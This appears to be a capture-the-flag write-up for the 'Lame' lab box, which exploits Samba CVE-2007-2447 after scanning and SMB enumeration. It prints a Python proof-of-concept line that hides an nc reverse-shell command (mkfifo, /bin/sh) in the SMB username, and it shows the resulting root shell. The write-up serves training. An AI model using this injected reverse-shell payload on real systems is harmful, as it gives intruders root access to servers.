Target IP: 10.10.10.3

Initial Reconnaissance

Lame is one of the oldest boxes on the platform, and the scan makes that obvious.

sudo nmap -sV -v 10.10.10.3

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

The vsftpd 2.3.4 banner is tempting because of its famous backdoor, but that lead goes nowhere on this box. The real target is Samba.

Enumerating SMB

enum4linux confirmed the exact Samba version and allowed anonymous sessions.

enum4linux -a 10.10.10.3

LAME  Wk Sv PrQ Unx NT SNT  lame server (Samba 3.0.20-Debian)

Anonymous access to the tmp share worked, but there was nothing useful inside. The version string was the real finding.

Samba usermap_script (CVE-2007-2447)

Samba 3.0.20 is vulnerable to CVE-2007-2447. When the username map script option is enabled, Samba passes the username to a shell without sanitizing it, so shell metacharacters in the username field are executed on the server.

searchsploit 3.0.20 samba
# Samba 3.0.20 < 3.0.25rc3 - 'Username' map script ... | unix/remote/16320.rb

The top hit is a Metasploit Ruby module. I dropped it into ~/.msf4/modules/exploits/samba/ and tried firing it from msfconsole, but it refused to land cleanly, so I stopped fighting the framework and grabbed a public Python PoC instead. It sends the payload by placing a reverse shell inside the username during the SMB connection.

payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
username = "/=`nohup " + payload + "`"
conn = SMBConnection(username, "", "", "")
conn.connect(rhost, int(rport), timeout=1)

I started a listener and ran it.

python3 cve-2007-2447.py 10.10.10.3 445 10.10.14.6 4444

Because Samba here runs as root, the shell came back as root directly. There is no separate privilege escalation step.

listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 50692
whoami
root

Both flags were readable immediately: the user flag under /home/makis, and the root flag straight out of /root.

cat /home/makis/user.txt
cat /root/root.txt

Takeaways

Lame is a museum piece, and its whole lesson is version identification. A 2007 Samba flaw, a one-line searchsploit, and a public PoC are the entire path.

It is also a good reminder not to chase the shiny bait. The vsftpd 2.3.4 backdoor banner practically begs to be exploited, but on this box it is a dead end. The Samba service is where the actual foothold, and root, live.